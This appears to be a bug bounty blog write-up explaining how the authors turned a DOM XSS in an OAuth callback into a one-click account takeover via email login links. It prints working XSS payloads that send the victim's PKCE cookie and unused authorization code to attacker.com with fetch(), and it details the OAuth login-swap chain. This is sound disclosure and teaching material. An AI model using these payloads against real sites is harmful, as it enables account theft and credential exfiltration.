This is the second part of our blog series on How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for $8000:
- Part 1: Understanding the OAuth login flow and the initial attack surface
- Part 2: Exploiting the DOM XSS and escalating it to a 1-click Account Takeover
If you haven’t read the first part, we highly recommend you to do so to understand the context of this blog post.
III. DOM XSS to 1-click Account Takeover
Here is the sequence diagram of the complete OAuth flow from Part 1:
1. Finding the DOM XSS 🔎🐛
At step 8 of the login flow, the value of next
parameter will be placed in the destination property, where the client-side JavaScript will then use to redirect the webpage.
As we can see, the destination URL is used at href
sink. A typical sink for javascript:
protocol DOM XSS.
However, when trying the typical payload, we are greeted with a 500 Internal Server Error
Let’s bypass this (☞゚ヮ゚)☞
1 | Here are my attempts: |
So basically, the server only checks for the domain name if it is account.partner.com
after ://
without checking the protocol.
Moreover, javascript://account.partner.com/%0Aalert(1)
is a completely valid XSS payload.
In JS, //
is treated as a line comment, so it will comment out the account.partner.com
part and %0A
will creates a newline where alert(1)
will be executed.
You can try this yourself on the browser console.
1 | window.location.href = "javascript://account.partner.com/%0Aalert(1)" |
So we now have a valid XSS payload to bypass the domain name check!
2. First attempt on performing the ATO 😥
In order for us to perform the ATO we need to get 2 things:
- The code verifier (available in the
xxxxx-pkce
cookie) associated with the authorization code - The authorization code (available on the URL)
We can both get these with our XSS and send them back to our attacker’s server.
However, there is one catch:
Our XSS on
1 | https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0Aalert(window.location.href)&code=<authorization_code> |
is only executed after the authorization code is used successfully.
As you can see, the authorization_code
is already used and verified at step 9.
Because the authorization_code
is only allowed to use 1 time only, when we try to exchange the captured authorization_code
and code_verifier
for the victim’s access token at POST /access_token
the following error will occur:
1 | {"error":"invalid_grant","errorDescription":"`code` is expired"} |
We need to find some way to allow us to capture the victim’s code verifier
and the associated authorization code
before it is used!
3. How we overcome the 1-time code issue 😤
In order to get the valid access token of the victim, we need to get their code verifier (
xxxxx-pkce
) and the unused generated authorization code (code
).Few hours later, we came up with the idea of forcing the victim’s browser to use the
attacker’s authorization code
to trigger the XSS and steal thevictim’s unused authorization code
.We will first tamper the
redirect_uri
parameter to something like this:1
https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>
The
/oauth_callback
at step 7 will look like this:- Please notice that now there are 2
code
params in the URL as the server will prepend the newly generated victim’sauthorization_code
to the previous suppliedredirect_uri
1
https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>&code=<victim_code>
- Please notice that now there are 2
This time the application will use the first
code
parameter in the URL andlog the victim into the Attacker’s account
.After that the XSS will be triggered, sending the unused victim’s authorization code (the second
code
) to the attacker’s server.The attacker can now use this unused code for exchanging the victim’s access token.
We also need to take the
code_verifier
(xxxxx-pkce
cookie) into account.Essentially, we will force the victim into using the attacker’s authorization_code and the code_verifier for logging in, then we will steal their unused authorization_code and code_verifier.
The flow will look like this:
Link to the the sequence diagram in SVG format
Victim clicks on the malicious link and login on page
account.redacted.com
. The link will look like this:1
https://account.redacted.com/authorize?redirect_uri=https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0A[XSS payload 1]&response_type=code
After logging in successfully,
account.redacted.com
will return theauthorization_code
within theredirect_uri
and then redirect victim to thatredirect_url
1
redirect_url = redirect_uri + "<authorization_code>"
In this case, the redirect URL will be:
1
redirect_url = "https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0A[XSS payload 1]" + "&code=<authorization_code>"
account.partner.com
will verify thisauthorization_code
along with thecode_verifier
.After that, the victim continues to get redirected to the URL stored in the parameter
next
(which is also a XSS payload)1
next=javascript://account.partner.com/%0A[XSS payload 1]
The
XSS payload 1
will trigger and do 3 things:- Send the current victim’s cookie
xxxxx-pkce
(code_verifier
) back to attacker’s server - Set the victim’s
xxxxx-pkce
cookie to the attacker’sxxxxx-pkce
cookie - Force the victim to perform the OAuth flow
again
with theattacker's authorization code
. Hence, logging the victim to the attacker’s account.
XSS payload 1:
1
2
3
4
5
6
7
8
fetch("//attacker.com?pkce=" + document.cookies)
.then(r => {
document.cookie="xxxxx-pkce = <attacker_pkce>"
window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code=<attacker-code>&next=javascript://account.partner.com/%0A[XSS payload 2]")
})This time the
redirect_uri
will looks like this:1
https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A[XSS payload 2]
- Send the current victim’s cookie
Now, because both of the attacker’s
xxxxx-pkce
andcode
is valid, the victim will now successfully log in theattacker’s account
and trigger the redirection containingXSS payload 2
.- Please noticed on the first parameter
code
(attacker_code
) is used for authenticating the victim to our attacker’s account. The second parametercode
(victim_code
) will still remain unused.
- The
XSS payload 2
will send theunused authorization_code
from the URL back to attacker sserver.
1
2
fetch("//attacker.com?code=" + window.location.href)- Please noticed on the first parameter
Overall, the crafted exploit URLs and XSS payloads should look like this:
- Attack URL
1
https://account.redacted.com/authorize?redirect_uri=javascript://account.partner.com/%0A[XSS payload 1]
- XSS payload 1
1
2
3
4
5
6
7
8
fetch("//attacker.com?pkce=" + document.cookies)
.then(r => {
document.cookie="xxxxx-pkce = <attacker_pkce>"
window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code=<attacker-code>&next=javascript://account.partner.com/%0A[XSS payload 2]")
})- XSS payload 2
1
2
fetch("//attacker.com?code=" + window.location.href)After receiving both of the victim’s
authorization_code
andcode_verifier
on our attacker’s server. We can use them to exchange for the access token 💪💪💪
4. Escalate, escalate, escalate,… to one-click mail ATO 🏃♂️🏃♂️🏃♂️
- After the success in performing the ATO by tricking the user into clicking on the crafted link, this is clearly a valid issue and we could submit the bug and then rest 😴.
- However, our ego (😎) told us that this was still not the maximum impact of this bug, therefore, we continued to raise the impact.
- The problem that stops this bug from maximizing the impact is it requires a huge effort in the social engineering state to trick the victim into clicking on the crafted link. Obviously, there is a very small chance that the user will click on the lengthy link like that.
- At this state, the first possible solution that comes across our mind is using the logging with email verification link function and injecting the malicious link via redirect parameter.
- We continued to search the app and found all of the possible login portals. Luckily, we found 2 of them that allow user login via email.
- Here is the request:
1 | POST /v1/email/login/request HTTP/2 |
- This will send an email with the log-in link to the victim
- After the victim clicks on the “Log in” button, there will be 2 cases:
If the victim is logged in:
The application will automatically redirect the victim back to our malicious link in the parameternext_url
⇒ The ATO XSS is triggeredIf the victim is not logged in:
The login link from the email will automatically log the victim into his account. After that, the victim will be redirected back to our malicious link in the parameternext_url
⇒ The ATO XSS is triggered
⇒ 💣💣💣 So that is our full chain of One-click ATO via the target’s email.
In our actual exploit, we have created a script to automate all the steps we’ve mentioned.
IV. Conclusion
We hope that you guys enjoy our first blog post! Some details has been ruled out (encoding, payload length limiting, …) in order to keep this blog post concise and not too confusing.
We truly believe that by focusing on understanding how every thing works, interesing issues will start showing up!
This vulnerability took us a whole week to identify and write the fully functional exploit. Another week to explain and go through the triaging stages.
Side story, this is also our first time having a Google Meet session with the program’s security team. We had to perform the exploit live to demonstrate the impact until 2AM in the morning. It was a pretty fun experience. :D
Finally, our hard work was paid off with a reward of $8000 🤩
Thank you for reading! We hope that we’ll find more interesting cases in the future to share with you guys!